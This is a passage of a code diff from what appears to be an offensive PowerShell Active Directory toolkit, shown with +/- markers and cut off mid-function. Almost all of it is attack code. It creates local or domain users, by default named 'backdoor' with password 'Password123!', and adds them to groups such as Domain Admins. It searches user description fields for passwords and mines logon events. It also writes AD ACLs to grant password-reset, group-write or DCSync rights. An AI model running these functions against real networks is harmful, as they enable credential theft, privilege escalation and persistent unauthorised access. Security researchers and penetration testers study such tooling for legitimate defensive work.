.PARAMETER SID - The SID to convert. - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [String] - $SID - ) + # if it's not a domain add, it's a local machine add + $ObjOu = [ADSI]"WinNT://$ComputerName" + $ObjUser = $ObjOu.Create('User', $UserName) + $ObjUser.SetPassword($Password) - process { + # commit the changes to the local machine try { - $obj = (New-Object System.Security.Principal.SecurityIdentifier($SID)) - $obj.Translate( [System.Security.Principal.NTAccount]).Value + $Null = $ObjUser.SetInfo() + "[*] User $UserName successfully created on host $ComputerName" } catch { - Write-Warning "invalid SID" + Write-Warning '[!] Account already exists!' + return + } + } + + # if a group is specified, invoke Add-NetGroupUser and return its value + if ($GroupName) { + # if we're adding the user to a domain + if ($Domain) { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain + "[*] User $UserName successfully added to group $GroupName in domain $Domain" + } + # otherwise, we're adding to a local group + else { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName + "[*] User $UserName successfully added to group $GroupName on host $ComputerName" } } } -######################################################## -# -# Domain info functions below. -# -######################################################## +function Add-NetGroupUser { +<# + .SYNOPSIS -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. + Adds a user to a domain group or a local group on the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. + .PARAMETER UserName - .EXAMPLE - > Get-NetDomain - Return the current domain. + The domain username to query for. - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> + .PARAMETER GroupName + + Group to add the user to. + + .PARAMETER ComputerName + + Hostname to add the user to, defaults to localhost. + + .PARAMETER Domain + + Domain to add the user to. + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators + + Adds a localuser "john" to the local group "Administrators" + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local + + Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" +#> [CmdletBinding()] param( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $UserName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName, + [String] $Domain ) - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + # add the assembly if we need it + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # if we're adding to a remote host's local group, use the WinNT provider + if($ComputerName -and ($ComputerName -ne "localhost")) { try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" + ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") + "[*] User $UserName successfully added to group $GroupName on $ComputerName" } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null + catch { + Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" + return } } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} + # otherwise it's a local machine or domain add + else { + try { + if ($Domain) { + Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" + $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + return $Null + } + # get the full principal context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject + } + else { + # otherwise, get the local machine context + Write-Verbose "Adding user $UserName to $GroupName on localhost" + $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + } -function Get-NetForest { - <# - .SYNOPSIS - Returns the forest specified, or the current forest - associated with this domain, - - .PARAMETER Forest - Return the specified forest. - - .EXAMPLE - > Get-NetForest - Return current forest. - #> + # find the particular group + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) - [CmdletBinding()] - param( - [string] - $Forest - ) + # add the particular user to the group + $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) - if($Forest){ - # if a forest is specified, try to grab that forest - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) - try{ - [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + # commit the changes + $Group.Save() } - catch{ - Write-Warning "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." - $Null + catch { + Write-Warning "Error adding $UserName to $GroupName : $_" } } - else{ - # otherwise use the current forest - [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - } } -function Get-NetForestDomains { - <# - .SYNOPSIS - Return all domains for the current forest. +function Get-UserProperty { +<# + .SYNOPSIS + + Returns a list of all user object properties. If a property + name is specified, it returns all [user:property] values. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER Properties + + Property names to extract for users. + + .PARAMETER Domain + + The domain to query for user properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .EXAMPLE + + PS C:\> Get-UserProperty -Domain testing + + Returns all user properties for users in the 'testing' domain. + + .EXAMPLE - .PARAMETER Forest - Return domains for the specified forest. + PS C:\> Get-UserProperty -Properties ssn,lastlogon,location + + Returns all an array of user/ssn/lastlogin/location combinations + for users in the current domain. - .PARAMETER Domain - Return doamins that match this term/wildcard. + .LINK - .EXAMPLE - > Get-NetForestDomains - Return domains apart of the current forest. - #> + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> [CmdletBinding()] param( - [string] - $Domain, + [String[]] + $Properties, - [string] - $Forest + [String] + $Domain, + + [String] + $DomainController ) - if($Domain){ - # try to detect a wild card so we use -like - if($Domain.Contains('*')){ - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} - } - else{ - # match the exact domain name if there's not a wildcard - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} - } + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController | Select-Object -Property $Properties } - else{ - # return all domains - (Get-NetForest -Forest $Forest).Domains + else { + # extract out just the property names + Get-NetUser -Domain $Domain -DomainController $DomainController | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' } } -function Get-NetDomainControllers { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. +function Find-UserField { +<# + .SYNOPSIS - .PARAMETER Domain - The domain to query for domain controllers. If not supplied, the - current domain is used. + Searches user object fields for a given word (default *pass*). Default + field being searched is 'description'. - .EXAMPLE - > Get-NetDomainControllers - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - .EXAMPLE - > Get-NetDomainControllers -Domain test - Returns the domain controllers for the domain "test". - #> + .PARAMETER SearchTerm - [CmdletBinding()] - param( - [string] - $Domain - ) + Term to search for, default of "pass". - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} + .PARAMETER SearchField + User field to search, default of "description". -######################################################## -# -# "net *" replacements and other fun start below -# -######################################################## + .PARAMETER Domain -function Get-NetCurrentUser { - [System.Security.Principal.WindowsIdentity]::GetCurrent().Name -} + Domain to search computer fields for, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .EXAMPLE + + PS C:\> Find-UserField -SearchField info -SearchTerm backup + + Find user accounts with "backup" in the "info" field. +#> -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] - $object + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $SearchTerm = 'pass', + + [String] + $SearchField = 'description', + + [String] + $Domain, + + [String] + $DomainController ) + process { - if($object){ - if ( [bool]($object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputers - $object.dnshostname - } - elseif ( [bool]($object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainControllers - $object.name - } - else { - # strings and catch alls - $object - } - } - else{ - return $Null - } + Get-NetUser -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" | Select-Object samaccountname,$SearchField } } -function Get-NetUser { - <# - .SYNOPSIS - Query information for a given user or users in the domain. +function Get-UserEvent { +<# + .SYNOPSIS - .DESCRIPTION - This function users [ADSI] and LDAP to query the current - domain for all users. Another domain can be specified to - query for users across a trust. - This is a replacement for "net users /domain" + Dump and parse security events relating to an account logon (ID 4624) + or a TGT request event (ID 4768). Intended to be used and tested on + Windows 2008 Domain Controllers. + Admin Reqd? YES - .PARAMETER UserName - Username filter string, wildcards accepted. + Author: @sixdub - .PARAMETER Domain - The domain to query for users. If not supplied, the - current domain is used. + .PARAMETER ComputerName - .PARAMETER OU - The OU to pull users from. + The computer to get events from. Default: Localhost - .PARAMETER Filter - The complete LDAP query string to use to query for users. + .PARAMETER EventType - .EXAMPLE - > Get-NetUser - Returns the member users of the current domain. + Either 'logon', 'tgt', or 'all'. Defaults: 'logon' - .EXAMPLE - > Get-NetUser -Domain testing - Returns all the members in the "testing" domain. - #> + .PARAMETER DateStart - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $UserName, + Filter out all events before this date. Default: 5 days + + .EXAMPLE - [string] - $OU, + PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local - [string] - $Filter, + .LINK - [string] - $Domain - ) - process { - # if a domain is specified, try to grab that domain - if ($Domain){ + http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } + Param( + [String] + $ComputerName = $Env:ComputerName, - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" + [String] + [ValidateSet("logon","tgt","all")] + $EventType = "logon", - # if we have an OU specified, be sure to through it in - if($OU){ - $dn = "OU=$OU,$dn" - } + [DateTime] + $DateStart=[DateTime]::Today.AddDays(-5) + ) - # use the specified LDAP query string to query for users - if($Filter){ - Write-Verbose "LDAP: $Filter" - $dn = $Filter - } + if($EventType.ToLower() -like "logon") { + [Int32[]]$ID = @(4624) + } + elseif($EventType.ToLower() -like "tgt") { + [Int32[]]$ID = @(4768) + } + else { + [Int32[]]$ID = @(4624, 4768) + } - # if we could grab the primary DC for the current domain, use that for the query - if ($PrimaryDC){ - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") + #grab all events matching our filter for the specified host + Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { + + if($ID -contains 4624) { + # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) + if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { + if($Matches) { + $LogonType = $Matches[0].trim() + $Matches = $Null } + } + else { + $LogonType = "" + } - # check if we're using a username filter or not - if($UserName){ - # samAccountType=805306368 indicates user objects - $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName))" - } - else{ - $UserSearcher.filter='(&(samAccountType=805306368))' - } - $UserSearcher.PageSize = 200 - $UserSearcher.FindAll() | ForEach-Object { - # for each user/member, do a quick adsi object grab - $properties = $_.Properties - $out = New-Object psobject - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid + # interactive logons or domain logons + if (($LogonType -eq 2) -or ($LogonType -eq 3)) { + try { + # parse and store the account used and the address they came from + if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { + if($Matches) { + $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() + $Matches = $Null } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) + } + if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } + } + + # only add if there was account information not for a machine or anonymous logon + if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4624' + 'LogonType' = $LogonType + 'Time' = $_.TimeCreated } + New-Object -TypeName PSObject -Property $LogonEventProperties } - $out } - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." + catch { + Write-Debug "Error parsing event logs: $_" + } } } - else{ - # otherwise, use the current domain - if($UserName){ - $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" - } - # if we're specifying an OU - elseif($OU){ - $dn = "OU=$OU," + ([adsi]'').distinguishedname - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - $UserSearcher.filter='(&(samAccountType=805306368))' - } - # if we're specifying a specific LDAP query string - elseif($Filter){ - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$Filter") - $UserSearcher.filter='(&(samAccountType=805306368))' - } - else{ - $UserSearcher = [adsisearcher]'(&(samAccountType=805306368))' - } - $UserSearcher.PageSize = 200 - - $UserSearcher.FindAll() | ForEach-Object { - # for each user/member, do a quick adsi object grab - $properties = $_.Properties - $out = New-Object psobject - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) + if($ID -contains 4768) { + # the TGT event type + try { + if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { + if($Matches) { + $Username = $Matches[0].split("`n")[1].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } + } + + if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() + $Matches = $Null } } - $out + + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4768' + 'LogonType' = '' + 'Time' = $_.TimeCreated + } + + New-Object -TypeName PSObject -Property $LogonEventProperties + } + catch { + Write-Debug "Error parsing event logs: $_" } } } } -function Get-NetUserSPNs { - <# - .SYNOPSIS - Gets all users in the domain with non-null service - principal names. +function Get-ObjectAcl { +<# + .SYNOPSIS + Returns the ACLs associated with a specific active directory object. - .DESCRIPTION - This function users [ADSI] and LDAP to query the current - domain for all users and find users with non-null - service principal names (SPNs). Another domain can be - specified to query for users across a trust. + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. - .PARAMETER UserName - Username filter string, wildcards accepted. + .PARAMETER SamAccountName + + Object name to filter for. + + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. - .PARAMETER Domain - The domain to query for users. If not supplied, the - current domain is used. + .PARAMETER Filter - .EXAMPLE - > Get-NetUserSPNs - Returns the member users of the current domain with - non-null SPNs. + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER RightsFilter + + Only return results with the associated rights, "All", "ResetPassword","WriteMembers" + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .EXAMPLE + + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local + + Get the ACLs for the matt.admin user in the testlab.local domain + + .EXAMPLE - .EXAMPLE - > Get-NetUserSPNs -Domain testing - Returns all the members in the "testing" domain with - non-null SPNs. - #> + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs + + Get the ACLs for the matt.admin user in the testlab.local domain and + resolve relevant GUIDs to their display names. +#> [CmdletBinding()] - param( - [string] - $UserName, + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, - [string] - $Domain - ) + [String] + $Name = "*", + [Alias('DN')] + [String] + $DistinguishedName = "*", - # if a domain is specified, try to grab that domain - if ($Domain){ + [Switch] + $ResolveGUIDs, - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers")] + $RightsFilter, + + [String] + $Domain, + + [String] + $DomainController + ) + + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix + + # get a GUID -> name mapping + if($ResolveGUIDs) { + $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController } + } - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" + process { - # if we could grab the primary DC for the current domain, use that for the query - if ($PrimaryDC){ - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } + if ($Searcher) { - # check if we're using a username filter or not - if($UserName){ - # samAccountType=805306368 indicates user objects - $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName))" + if($SamAccountName) { + $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" } - else{ - $UserSearcher.filter='(&(samAccountType=805306368))' + else { + $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" } - $UserSearcher.FindAll() | ForEach-Object { - if ($_.properties['ServicePrincipalName'].count -gt 0){ - $out = New-Object psobject - $out | Add-Member Noteproperty 'SamAccountName' $_.properties.samaccountname - $out | Add-Member Noteproperty 'ServicePrincipalName' $_.properties['ServicePrincipalName'] - $out + + $Searcher.PageSize = 200 + + try { + $Searcher.FindAll() | Foreach-Object { + $Object = [adsi]($_.path) + $Access = $Object.PsBase.ObjectSecurity.access + # add in the object DistinguishedName to the output object + $Access | Add-Member NoteProperty 'ObjectDN' ($_.properties.distinguishedname[0]) + $Access + } | ForEach-Object { + if($RightsFilter) { + $GuidFilter = Switch ($RightsFilter) { + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + Default { "00000000-0000-0000-0000-000000000000"} + } + if($_.ObjectType -eq $GuidFilter) { $_ } + } + else { + $_ + } + } | Foreach-Object { + if($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { + try { + $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + elseif(($_.Name -eq 'IdentityReference') -and ($_.Value -match '^S-1-5-*')) { + $AclProperties[$_.Name] = Convert-SidToName $_.Value + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + New-Object -TypeName PSObject -Property $AclProperties + } + else { $_ } } } - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if($UserName){ - $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" - } - else{ - $UserSearcher = [adsisearcher]'(&(samAccountType=805306368))' - } - $UserSearcher.FindAll() | ForEach-Object { - if ($_.properties['ServicePrincipalName'].count -gt 0){ - $out = New-Object psobject - $out | Add-Member Noteproperty 'samaccountname' $_.properties.samaccountname - $out | Add-Member Noteproperty 'ServicePrincipalName' $_.properties['ServicePrincipalName'] - $out + catch { + Write-Warning $_ } } } } -function Invoke-NetUserAdd { - <# - .SYNOPSIS - Adds a local or domain user. +function Add-ObjectAcl { +<# + .SYNOPSIS - .DESCRIPTION - This function utilizes DirectoryServices.AccountManagement to add a - user to the local machine or a domain (if permissions allow). It will - default to adding to the local machine. An optional group name to - add the user to can be specified. + Adds an ACL for a specific active directory object. + + AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) + https://adsecurity.org/?p=1906 - .PARAMETER UserName - The username to add. If not given, it defaults to "backdoor" + ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. - .PARAMETER Password - The password to set for the added user. If not given, it defaults to "Password123!" + 'ResetPassword' doesn't need to know the user's current password + 'WriteMembers' allows for the modification of group membership - .PARAMETER GroupName - Group to optionally add the user to. + .PARAMETER TargetSamAccountName - .PARAMETER HostName - Host to add the local user to, defaults to 'localhost' + Target object name to filter for. - .PARAMETER Domain - Specified domain to add the user to. + .PARAMETER TargetName - .EXAMPLE - > Invoke-NetUserAdd -UserName john -Password password - Adds a localuser "john" to the machine with password "password" + Target object name to filter for. - .EXAMPLE - > Invoke-NetUserAdd -UserName john -Password password -GroupName "Domain Admins" -domain '' - Adds the user "john" with password "password" to the current domain and adds - the user to the domain group "Domain Admins" + .PARAMETER TargetDistinguishedName - .EXAMPLE - > Invoke-NetUserAdd -UserName john -Password password -GroupName "Domain Admins" -domain 'testing' - Adds the user "john" with password "password" to the 'testing' domain and adds - the user to the domain group "Domain Admins" + Target object distinguished name to filter for. - .Link - http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx - #> + .PARAMETER TargetFilter - [CmdletBinding()] - Param ( - [string] - $UserName = 'backdoor', + A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" - [string] - $Password = 'Password123!', + .PARAMETER TargetADSpath - [string] - $GroupName, + The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - [string] - $HostName = 'localhost', + .PARAMETER TargetADSprefix - [string] - $Domain - ) + Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") - $d = Get-NetDomain -Domain $Domain - if(-not $d){ - return $null - } + .PARAMETER PrincipalSID - if ($Domain){ + The SID of the principal object to add for access. - # add the assembly we need - Add-Type -AssemblyName System.DirectoryServices.AccountManagement + .PARAMETER PrincipalName - # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ + The name of the principal object to add for access. - $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain + .PARAMETER PrincipalSamAccountName - # get the domain context - $context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $ct, $d + The samAccountName of the principal object to add for access. - # create the user object - $usr = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $context + .PARAMETER Rights - # set user properties - $usr.name = $UserName - $usr.SamAccountName = $UserName - $usr.PasswordNotRequired = $false - $usr.SetPassword($password) - $usr.Enabled = $true + Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" - try{ - # commit the user - $usr.Save() - "[*] User $UserName successfully created in domain $Domain" - } - catch { - Write-Warning '[!] User already exists!' - return - } - } - else{ - $objOu = [ADSI]"WinNT://$HostName" - $objUser = $objOU.Create('User', $UserName) - $objUser.SetPassword($Password) + .PARAMETER Domain - # commit the changes to the local machine - try{ - $b = $objUser.SetInfo() - "[*] User $UserName successfully created on host $HostName" - } - catch{ - # TODO: error handling if permissions incorrect - Write-Warning '[!] Account already exists!' - return - } - } + The domain to use for the target query, defaults to the current domain. - # if a group is specified, invoke Invoke-NetGroupUserAdd and return its value - if ($GroupName){ - # if we're adding the user to a domain - if ($Domain){ - Invoke-NetGroupUserAdd -UserName $UserName -GroupName $GroupName -Domain $Domain - "[*] User $UserName successfully added to group $GroupName in domain $Domain" - } - # otherwise, we're adding to a local group - else{ - Invoke-NetGroupUserAdd -UserName $UserName -GroupName $GroupName -HostName $HostName - "[*] User $UserName successfully added to group $GroupName on host $HostName" - } - } + .PARAMETER DomainController -} + Domain controller to reflect LDAP queries through. + .EXAMPLE -function Get-NetComputers { - <# - .SYNOPSIS - Gets an array of all current computers objects in a domain. + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john - .DESCRIPTION - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). + Grants 'john' all full access rights to the 'matt' account. - .PARAMETER HostName - Return computers with a specific name, wildcards accepted. + .EXAMPLE - .PARAMETER SPN - Return computers with a specific service principal name, wildcards accepted. + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword - .PARAMETER OperatingSystem - Return computers with a specific operating system, wildcards accepted. + Grants 'john' the right to reset the password for the 'matt' account. - .PARAMETER ServicePack - Return computers with a specific service pack, wildcards accepted. + .LINK - .PARAMETER Ping - Ping each host to ensure it's up before enumerating. + https://adsecurity.org/?p=1906 + + https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> - .PARAMETER FullData - Return full user computer objects instead of just system names (the default). + [CmdletBinding()] + Param ( + [String] + $TargetSamAccountName, - .PARAMETER Domain - The domain to query for computers. + [String] + $TargetName = "*", - .OUTPUTS - System.Array. An array of found system objects. + [Alias('DN')] + [String] + $TargetDistinguishedName = "*", - .EXAMPLE - > Get-NetComputers - Returns the current computers in current domain. + [String] + $TargetFilter, - .EXAMPLE - > Get-NetComputers -SPN mssql* - Returns all MS SQL servers on the domain. + [String] + $TargetADSpath, - .EXAMPLE - > Get-NetComputers -Domain testing - Returns the current computers in 'testing' domain. + [String] + $TargetADSprefix, - > Get-NetComputers -Domain testing -FullData - Returns full computer objects in the 'testing' domain. + [String] + [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] + $PrincipalSID, - .LINK - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 - #> + [String] + $PrincipalName, - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = '*', + [String] + $PrincipalSamAccountName, - [string] - $SPN = '*', + [String] + [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] + $Rights = "All", - [string] - $OperatingSystem = '*', + [String] + $RightsGUID, + + [String] + $Domain, - [string] - $ServicePack = '*', + [String] + $DomainController - [Switch] - $Ping, + ) - [Switch] - $FullData, + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix - [string] - $Domain - ) + if(!$PrincipalSID) { + $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName + + if(!$Principal) { + throw "Error resolving principal" + } + $PrincipalSID = $Principal.objectsid + } + if(!$PrincipalSID) { + throw "Error resolving principal" + } + } process { - # if a domain is specified, try to grab that domain - if ($Domain){ - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name + if ($Searcher) { + + if($TargetSamAccountName) { + $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" } - catch{ - 